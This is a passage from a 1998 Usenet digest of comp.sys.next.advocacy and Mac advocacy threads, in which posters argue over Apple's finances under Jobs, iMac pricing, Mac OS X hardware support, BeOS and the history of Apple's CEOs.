<gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com>
<gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com>
<gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org>
<gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: gmgraves@slip.net
In <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> George Graves
wrote:
> Run the company like adults on a permanent basis.
Well that's just mudslinging George. The company is doing well now, and
calling them children is mean spirited.
> Restore some of the lost credibility
Sure, I agree, but when people are going around making wild comments, like
that Jobs' plan is to sell Apple, that's harder than it should be. We both
know you have absolutely no evidence whatsoever to back your opinion that
Jobs is planning to sell Apple off. That's FUD in it's worst form.
> move Apple toward being a mainstream computer
What exactly is the iMac if not just this?
> reinstate clones.
Maybe later.
Maury
From: rdieter@math.unl.edu (Rex Dieter)
Newsgroups: comp.sys.next.advocacy
Subject: Re: XEarth and Earth via Backspace/Linux hate-mail
Date: 17 Jul 1998 14:58:56 GMT
Organization: University of Nebraska-Lincoln
Message-ID: <6onorg$6tt$1@unlnews.unl.edu>
References: <6om5j5$b81$1@news.ncal.verio.com>
In article <6om5j5$b81$1@news.ncal.verio.com> thomas@hype.mycal.net
(Thomas) writes:
> Hi,
>
> Did you ever notice how much better the Earth module for Backspace looks
> than the Linux XEarth screensaver?
I agree. It's quality is better on Backspace.
> I have Linux and Openstep/Rhap on my desk and am amazed- some folks had
> convinced me that Linux was a useful environment, but other than the
> router functions it has for TCP/IP it seems pretty darn crude and
> generally useless. It doesn't even seem much if any faster than DR2 is.
Linux IS useful, and yes, it IS crude. I do have to chime in and say
you're a little off-base about the speed issue, however: Linux
head-to-head is faster at most things, especially disk IO, due mostly to
it's async buffer cache.
--
Rex A. Dieter rdieter@math.unl.edu (NeXT/MIME OK)
Computer System Manager http://www.math.unl.edu/~rdieter/
Mathematics and Statistics
University of Nebraska-Lincoln
From: Eric Iverson <eric_iverson@REMOVE.wayne.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Fri, 17 Jul 1998 11:56:22 +0100
Organization: WSU
Message-ID: <35AF2DD3.26D1@REMOVE.wayne.edu>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com>
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xmac@my-dejanews.com wrote:
[...]
> Look at Be and how far (not) they have gotten in the past few years. You may
> also wish to notice that Gasse's first instinct with Be was to base it on a
> largely proprietary hardware platform and only when sales tanked did they
> decide to port to PowerMac and then Intel. Be either needs to get some major
> backers quick or go opensource with the whole thing. (IMHO)
That's so full of errors, it's not even funny.
> -Stephen
> ---------------------------------------------------------------------------
> Looking for Mac Stuff? Find it at: It's just not meant to "Be" :(
> http://members.tripod.com/~xgray/index.html -Xgray's Mac Internet Finder
Why is your "Mac Internet Finder" icon just a copy of the BeOS Net+
icon?
Did you get permission from Be?
--Eric
From: "Daniel Berlin" <dberlin@email.msn.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <gmgraves-1607982149230001@sf-pm5-7-71.dialup.slip.net> <6omnn1$o03$1@news2.ispnews.com> <6onkok$rs9$1@hole.sdsu.edu>
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Fri, 17 Jul 1998 12:32:21 -0400
Message-ID: <OyA5EEas9GA.143@upnetnews05>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
>It's probably impolite to point out that the only reason you may
>use "real, useful" CodeWarrior in BeOS is that Metrowerks had its
>library format welded into the operating system at a low level,
>so that it's impossible to use the Be API with anything else.
>
It's own library format?
On x86 they are DLL's and import library.
Standard PE.
It's only on PPC that it's some proprietary Apple and metrowerks goobleygok
:)
Regardless (I don't want to really argue the above points, as you can make a
convincing arguing pointing out how stupid that is very easily), the real
reason you can't use the Be API with anything else is that it's C++.
C++ implementations between compilers are never compatible in terms of
exception handling/rtti/mangling.
Why?
The standard specifically suggests that they should all be different so
library differences are resolved at link time, rather than run time.
Not that i'm saying that's good.
--Dan
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 17 Jul 1998 16:02:29 GMT
Organization: wazza?
Message-ID: <6onsil$r00$1@server.signat.org>
References: <6ol3ov$722$2@server.signat.org> <B1D3E1B6-497D2@206.165.43.46>
<6omain$snn$1@server.signat.org> <MPG.10191bd83680a6149899a9@news.supernews.com>
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Cc: don.brown@cesoft.com
In <MPG.10191bd83680a6149899a9@news.supernews.com> Donald Brown wrote:
> If so, that would be good. But YB isn't a good clean way to go x-
> platform, since it leaves out the vast majority of Mac users.
Only through deliberate action on Apple's part. It could be run on every
PMac built if they wanted it to. That would make it an excellent way to
reach all your users.
Maury
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: Fri, 17 Jul 1998 09:46:07 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1707980946070001@dante.eng.uci.edu>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <35ae7297.0@news.telekabel.at>
In article <35ae7297.0@news.telekabel.at>, a9226931@unet.univie.ac.at wrote:
>As I understand it,$1290 will be the list price.
>How are chances that actual retail prices are significantly lower?
None at all. You'll be lucky to find it below $1249. But some of us have
recognized that at $1299, Apple isn't trying _too_ hard to compete on
price. They should be able to drop the price with time, probably down to
$999 and still make money, albeit not 25%.
The key is whether Apple can _ever_ get ahead of demand on these. I'm
starting to think they won't, and don't want to. As demand drops, they
won't cut prices, they'll up the specs to reinvigorate demand. That way
margins can be maintained and growth should still result without the $2B
backorder fiasco reoccurring.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: Fri, 17 Jul 1998 09:52:18 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1707980952180001@dante.eng.uci.edu>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <rmcassid-1607980934480001@dante.eng.uci.edu> <joe.ragosta-1607982129100001@elk123.dol.net>
In article <joe.ragosta-1607982129100001@elk123.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
>At $1299, Apple is probably going to sell as many as they can make. At
>$999, they wouldn't sell any more, so the market impact would be no
>greater.
But if they _could_ keep up with demand at $999, what would _that_ do to
the market? That was my point.
-Bob Cassidy
From: gwangung@u.washington.edu (R. Tang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Mach Kernels, MkLinux, and Mac OS X
Date: 17 Jul 1998 15:18:37 GMT
Organization: University of Washington, Seattle
Message-ID: <6onq0d$fkg$1@nntp6.u.washington.edu>
References: <Pine.SOL.3.96.980716142711.2583A-100000@ux7.cso.uiuc.edu> <6olq3g$jeh$1@server.signat.org> <sdavis-1607981711490001@149.118.128.38>
NNTP-Posting-User: gwangung
In article <sdavis-1607981711490001@149.118.128.38>,
Stephen A. Davis <sdavis@aureal.com> wrote:
>I think this new plan is an admirable goal and makes hot-swappable busses
>like FireWire and USB a dream to use and support. Remember, MacOS X is
>supposed to be the evolution of a consumer OS, not a server OS. It just
>so happens that it can function as both but that's beside the point.
Hmmm....it seems to me that this muddies the point and causes a
lot of flaming.
Seems to me that a lot of the tradeoffs for making MacOS X a
consumer OS is causing a lot of problems for folks wanting a server OS.
Makes me wonder if there's indeed that much of a difference or if there
SHOULD be one....
--
-Roger Tang, gwangung@u.washington.edu, Artistic Director PC Theatre
- Editor, Asian American Theatre Revue [NEW URL]
- http://www.abcflash.com/arts/r_tang/AATR.html
-Declared 4-F in the War Between the Sexes
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: Fri, 17 Jul 1998 09:50:26 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1707980950260001@dante.eng.uci.edu>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <rmcassid-1607980934480001@dante.eng.uci.edu> <6olevn$pgd$2@lwnws01.ne.highway1.com> <id_est-1607982337110001@192.168.1.3>
In article <id_est-1607982337110001@192.168.1.3>, id_est@interport.net
(tse_di) wrote:
>Given the current state of the Japanese economy I don't know that one
>should take those lessons that seriously.
The two are totally unrelated. Japan's problem now is that they have no
ability to stimulate their public to spend money when the economy slows
down. When the Japanese people see problems in their economy, they save
more (and not in banks, but at the post office, no less) which further
slows the economy, which causes them to save even more, and so on.
The American public's irresponsibility with money is one of our economy's
greatest strengths.
-Bob Cassidy
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 17 Jul 1998 15:30:06 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6onqlu$gra$1@sun27.hrz.tu-darmstadt.de>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6oga6q$iv$1@news.xmission.com> <35abb32c.0@news.depaul.edu> <joe.ragosta-1407981635580001@wil37.dol.net> <6oglng$ft8$1@news.digifix.com> <6oie2v$h7g$3@server.signat.org> <6oj2ge$b61$1@news.digifix.com> <uaf68mx6f.fsf@ai.mit.edu>
Stephen Peters <portnoy@ai.mit.edu> wrote:
>And PDF may also add to the problem. Many PDF files use LZW
>compression internally, and end up running the bulk of their text
>through a LZW decoder, which is even part of the PDF spec (section
>4.8.3). If Unisys demands license fees for decoding LZW, then you
>could end up with fees even with PDF.
IIRC, licensing fees are for LZW coders, not the decoders. It
might still pose a problem, as you want to write compressed
PDF, but maybe alternative compressors are available in PDF.
Rgds, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 17 Jul 1998 08:14:01 +0100
Organization: EarthLink Network, Inc.
Message-ID: <35AEF9B3.3169@earthlink.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com> <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net> <Josh.McKee-1307982024580001@pm3a3.rmac.net> <gmgraves-1407980930580001@sf-usr1-43-171.dialup.slip.net> <Josh.McKee-1407981853200001@pm3a4.rmac.net> <gmgraves-1507981228010001@sf-usr1-30-158.dialup.slip.net>
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How many times can a company screw up? I believe that non-support of
pre-G3 machines for OS X is a big mistake. Apple instantly cuts their
user base to almost nothing. There aren't THAT many G3's around.
How many times can a company shoot itself in the foot? Building a
computer that is truly upgradeable, what could be better? Apple had the
foresight to allow users of their computers to actually move to the next
generation chip! Brilliant! Try sticking a Pentuim II into a Pentium
slot sometime. Unfortunately, you may be able to bump up the speed, but
not the OS. Now that's just plain dumb.
Apple should have just finished the straight Openstep port and put it
out last year. Instead they felt the need to tinker with the system
(and remove features) and make us wait while our computers become
obsolete.
Thanks alot Apple!
Steve
-------------------------------------------------------------
Support pe-G3's with OS X!!!!!!
http://www.xlr8yourmac.com/osx_petition.html
-------------------------------------------------------------
From: gwangung@u.washington.edu (R. Tang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Mach Kernels, MkLinux, and Mac OS X
Date: 17 Jul 1998 15:21:00 GMT
Organization: University of Washington, Seattle
Message-ID: <6onq4s$gec$1@nntp6.u.washington.edu>
References: <Pine.SOL.3.96.980716142711.2583A-100000@ux7.cso.uiuc.edu> <6olq3g$jeh$1@server.signat.org> <sdavis-1607981711490001@149.118.128.38>
NNTP-Posting-User: gwangung
In article <sdavis-1607981711490001@149.118.128.38>,
Stephen A. Davis <sdavis@aureal.com> wrote:
>The thing to remember here is that it takes time and effort not only to
>develop the support for different machines but also to test and verify
>it. Pretty much every Apple machine has something custom about its
>hardware. It is a huge headache to QA every combination of machine to the
>levels of quality that Apple must target (not necessarily meet but
>target). MkLinux supports a lot of machines but some of that support
>might be pretty quirky -- you get what you pay for.
And another point. Commercial software support is more extensive
than freeware--it just about has to be. What if it's possible for some
group of volunteers to support, on a shareware basis, the 604e machines?
Does that change the equation anyway?
--
-Roger Tang, gwangung@u.washington.edu, Artistic Director PC Theatre
- Editor, Asian American Theatre Revue [NEW URL]
- http://www.abcflash.com/arts/r_tang/AATR.html
-Declared 4-F in the War Between the Sexes
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Mach Kernels, MkLinux, and Mac OS X
Date: 17 Jul 1998 16:49:09 GMT
Organization: wazza?
Message-ID: <6onva5$smr$1@server.signat.org>
References: <Pine.SOL.3.96.980716142711.2583A-100000@ux7.cso.uiuc.edu> <6olq3g$jeh$1@server.signat.org>
<sdavis-1607981711490001@149.118.128.38> <6onq0d$fkg$1@nntp6.u.washington.edu>
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Cc: gwangung@u.washington.edu
In <6onq0d$fkg$1@nntp6.u.washington.edu> R. Tang wrote:
> Makes me wonder if there's indeed that much of a difference or if there
> SHOULD be one....
From an OS point of view, there is no difference. OSF/Mk supports
dynaloads into the kernel and fully supports all of these features.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1dcbmzr.1o97wuo3lzv39N@dialup203-2-33.swipnet.se>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <6onfbp$45t$1@news.cs.tu-berlin.de>
Organization: pv
Date: Fri, 17 Jul 1998 17:34:20 GMT
NNTP-Posting-Date: Fri, 17 Jul 1998 19:34:20 MET DST
Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
> The problem here is your emphasis on the class. The class is an
> implementation construct used to organize objects/methods. Once again,
> for a particular method, the *class* of an argument is irrelevant. The
> only thing that is important is wether the *object* can respond to the
> necessary messages.
The way I see it, the basic idea is the Abstract Data Type (ADT) that
provides and abstraction of behaviour and encapsulates implementation
and representation so that code using the ADT can depend only on the
abstraction. OOP extends this idea to allow extendable ADTs. The ADT
fits nicely in the language construct 'class'. An ADT/class represents
something coherent and distinct from other things so 'class' as part of
type makes sense to me.
- Lars
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 17 Jul 1998 10:44:29 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1707981044290001@sf-pm5-10-74.dialup.slip.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <joe.ragosta-1707980623560001@elk84.dol.net>
In article <joe.ragosta-1707980623560001@elk84.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > In article <6olsfi$jeh$3@server.signat.org>, maury@remove_this.istar.ca
> > (Maury Markowitz) wrote:
> >
>
> > >
> > > No, the best thing would be for the iMac to sell truckloads, and
capture
> > > even more press. Everyone seems to think this is a done deal. You don't
> > > have to sell the company off for it to do well - obviously - and what can
> > > those companies do that Steve hasn't already?
> >
> > Run the company like adults on a permanent basis. Restore some of the
> > lost credibility, move Apple toward being a mainstream computer, instead
> > of being an isolated curiosity, reinstate clones.
>
> And Apple has done all of that over the past year.
>
> It's finally getting respect from Wall Street (still a few grumbles, but
> lots of respect).
>
> The iMac wasn't targeted at Mac users alone--it's been all over the
> mainstream press and is clearly appealing to some former PC users.
>
> Credibility? 3 quarters of consecutive profits (at least two of them
> vastly exceeding consensus estimates) help a lot. Shipping products on
> time (consistently over the past year) also helps.
Grannted, Steve has done much to improve those areas, but like I asked in
an earlier post, when Steve leaves, then what?
Yes, Apple has had three profitable quarters, but the revenues are STILL
falling (down 19.3% this last quarter -that's a BIG drop). It means that
Apple must have made the profit from cost cutting. This is while the rest
of the computer industry (with a few notable exceptions) was experiencing
double-digit growth. When you are selling a similar product to others, and
your sales continue to shrink while the competition's sales grow, you are
in big trouble. Jobs killed clones to shore-up Apple sales. Well, obviously
it didn't. Looks to me that Jobs was wrong. Clones weren't eating into
Apple's sales. All the canceling of clones has done is gain enmity with
the computer industry in general, and some of Apple's suppliers in
particular. By "tightening-up" the dealer network, Apple has eliminated any
price competition in the marketplace. Notice that Mac's now all cost
exactly the same from all sources. That same is Apple's suggested list price.
Joe, everything that Jobs has done for Apple is a short-term only strategy.
Long-run, as I see it, Apple is still in deep trouble. Although I won't abandon
the Mac, ever, I simply don't see any way for either Apple or the Mac to survive
long-term. But Apple doesn't need to just survive, it needs to flourish and grow
the Mac market. In my humble opinion, it can't do that alone, and it's
beginning
to look like it can't so it at all, not at this eleventh hour stage.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Fri, 17 Jul 1998 10:45:58 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1707981045590001@sf-pm5-10-74.dialup.slip.net>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <B1CC45E8-D794A@206.165.43.3> <6od786$g3$1@server.signat.org> <joe.ragosta-1307981231290001@wil55.dol.net> <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <joe.ragosta-1407981638020001@wil37.dol.net> <35ABD8E4.7E40F57F@ericsson.com> <gmgraves-1507981200570001@sf-usr1-30-158.dialup.slip.net> <6oj5a0$goe$1@hole.sdsu.edu> <19980716135346246924@slip-32-100-222-17.wa.us.ibm.net> <stevehix-1607982026390001@ip30.safemail.com>
In article <stevehix-1607982026390001@ip30.safemail.com>,
stevehix@safemail.com (Steve Hix) wrote:
> In article <19980716135346246924@slip-32-100-222-17.wa.us.ibm.net>,
> shawnm@snd.net (Shawn M.) wrote:
>
> > Gassee was NEVER the CEO of Apple.
>
> Then who *was* CEO between Scully and Spindler?
No one was CEO between Scully and Spindler. Scully was out
one day, Spindler was in the next.
George Graves
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 17 Jul 1998 17:45:09 GMT
Organization: P & L Systems
Message-ID: <6oo2j5$4h1$1@ironhorse.plsys.co.uk>
References: <6oj92v$6d9$1@news.spacelab.net> <B1D2D2AB-D80AC@206.165.43.119>
<6ol3ov$722$2@server.signat.org> <not-1607981031580001@2-20.phx.psn.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: not@a.valid.email.add
In <not-1607981031580001@2-20.phx.psn.net> Michael M. Eilers wrote:
> In article <6ol3ov$722$2@server.signat.org>, maury@remove_this.istar.ca
> (Maury Markowitz) wrote:
>
> > If Apple wanted to they could distribute YB and MacOS-X in general on
every
> > machine they've built, and for a little more effort they could do the
same on
> > Intel (sans Carbon/BlueBox of course). Never confuse their own
positioning
> > for technical problems, it's solely Apple's fault that YB is slowly being
> > pushed into the high end.
>
> I'm sorry, but to even a non-programmer such as myself (gasp!) the above
> is complete crap. There is absolutely no way that Yellow Box apps could
> ever run on Mac OS 8 or below, and not even on 8.5. It isn't just a matter
> of compiling some libraries--an app written for Yellow Box would be
> multithreaded, preemptively multitalking and writtne for a totally
> different memory-handling and VM routine. There is no way to force that
> back-asswards on the pitiful 10-year-old internals of Mac OS.
>
So explain YellowBox / Windows...
I don't think you understand the technology well enought to comment.
mmalc.
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Fri, 17 Jul 98 17:59:40 GMT
Organization: QMS
Message-ID: <6oo3b5$i49$3@news01.deltanet.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <pxpst2-1107981101450001@pelli.pathology.p <6ol3nq$14g$1@vixen.cso.uiuc.edu> <6ollab$qo3$1@news01.deltanet.com> <6olmdj$6ee@newsb.netnews.att.com>
In article <6olmdj$6ee@newsb.netnews.att.com>, gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>Scott Ellsworth <scott@eviews.com> wrote:
>
>>January of 93, all new purchases were P60s, moving to P90s as they
>>became affordable.
>
>I think the first Pentium systems became available in May 93.
>(e.g., "Pentium systems are due in May", Windows Sources, May 1993,
>"THE LONG-AWAITED Pentium-based systems will be rolling out at the
>end of May..."
You are quite right.
I went and checked the P60 machine that I just _knew_ had been here
when I got here.
Surprise! It was made in June of 93. Further, we had bought a few
486s in February and March of that year.
I hate falible memories.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Fri, 17 Jul 98 18:01:04 GMT
Organization: QMS
Message-ID: <6oo3dp$i49$4@news01.deltanet.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <6ol3nq$14g$1@vixen.cso.uiuc.edu> <6ollab$qo3$1@news01.deltanet.com> <id_est-1607982104080001@192.168.1.3>
In article <id_est-1607982104080001@192.168.1.3>, id_est@interport.net (tse_di) wrote:
>In article <6ollab$qo3$1@news01.deltanet.com>, scott@eviews.com (Scott
>Ellsworth) wrote:
>
>> Personally, I would target all of the PCI boxes internally, and tell
>> everyone outside that only G3 boxes would be supported. If at all
>> possible, qualify the odd machine here and there, and make sure people
>> know about it as they come up. Then, while you will have users of old
>> machines annoyed with you during the prep phase, you might win them
>> back when you ship.
>
>This is what I would do as well.It makes the most sense. Of course, if
>Apple is doing this then we would be hearing from Apple pretty much what
>we are hearing from Apple now, wouldn't we?
I kind of noticed that. I just hope that they are qualifying those
old machines as they get the chance, since it is going to be really
exciting when Rhapsody 1.0 comes out.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: pxpst2@spam.suxs.unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Fri, 17 Jul 1998 14:12:35 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-1707981412350001@pelli.pathology.pitt.edu>
References: <19980716135346246924@slip-32-100-222-17.wa.us.ibm.net> <B1D3D746-223D1@206.165.43.46> <pxpst2-1607982149350001@pelli.pathology.pitt.edu> <rmcassid-1707980920060001@dante.eng.uci.edu>
Mail-Copies-To: pxpst2@spam.suxs.unixs.cis.pitt.edu
In article <rmcassid-1707980920060001@dante.eng.uci.edu>, rmcassid@uci.edu
(Robert Cassidy) wrote:
> Wollard really *is* the guy that saved Apple, but he couldn't have done it
> without Jobs. Gil had done all he could do, and there are few men out
> there who have the combination of good and bad that makes Steve as
> effective as he is here.
>
Bob, you are quite correct and I completly agree with your analysis. So
many peaple on the USENET know nothing about how companies are run and how
they change. And Wollard, the Dupont warrior, is the man that none of the
Appleheads even know about. He was the deal maker that put Apple back on
the map.
Peter Pediaditakis
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Fri, 17 Jul 1998 11:09:34 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1707981109350001@sf-pm5-10-74.dialup.slip.net>
References: <19980716135346246924@slip-32-100-222-17.wa.us.ibm.net> <B1D3D746-223D1@206.165.43.46> <pxpst2-1607982149350001@pelli.pathology.pitt.edu>
In article <pxpst2-1607982149350001@pelli.pathology.pitt.edu>,
pxpst2@spam.suxs.unixs.cis.pitt.edu wrote:
> In article <B1D3D746-223D1@206.165.43.46>, "Lawson English"
> <english@primenet.com> wrote:
>
> >
> > Sculley got Jobs ousted because he was acting like a nutcase and no bank in
> > America would give Apple a loan as long as "that nutcase" [rumored direct
> > quote] was still in control of Apple.
>
> I think this is revisionist history
> >
> > Sculley, the person who ran Apple into the ground, took it from being a $1
> > billion/year company to a $12 billion per year.
>
> A monkey could have done this. Sculley was given the First multimedia
> computer to sell and there was no compitition. Schulleys failure to clone
> the Mac was his biggest failure....AND IT WAS A WHOPPER
Scully failed to clone because Jean-Louis Gassee told him not to, in spite
of input from people like Bill Gates (of all people) who, in a 1985 letter
to Scully, implored him to clone the Mac, and make it a standard. Gates
even went so far in this letter to outline to Scully what would happen to
Apple if they didn't licence the Mac. Prophetic words. Gassee was violently
opposed to cloning, Scully hadn't a clue, knew nothing about computers,
and listened to Gassee. Result? No Mac clones at a time when it was vital.
> >
> > SPindler was an interesting case. He obviously had severe physical and
> > mental problems when he took charge.
>
> Agreed.
>
> >
> > Amelio then took charge, with no effort made to find an alternate
> > replacement.
>
> Amelio was hired to cut costs.That is what he was known for. Before Apple
> Gil was the CEO of National Semiconducter. When he came to Nat. Semi.
> they had 1 week of operating capatal. Anyway He was hired as the CEO for
> the Corporate Downsizing of Apple but He did not bring down the Axe HARD
> ENOUGH
Also his "turn-around" of National Semiconductor is suspect. During the time
when he supposedly saved Natty, the whole semiconductor industry doubled
in sales while Natty only improved 18%. It was enough to go from red to black
in the ink dept., but critics of Amelio say that this would have happened with
or without him. At Apple, he did very little positive. His first act as CEO was
to nix a DONE-DEAL merger of Apple and Sun. He also, apparently, was more
interested in his compensation package and his golden parachute than he was in
actually fixing Apple.
>
> > Jobs then took charge, with no [serious] effort made to find and alternate
> > replacement.
>
> Jobs has done a fabulous job at Apple. I know you do not like him Lawson
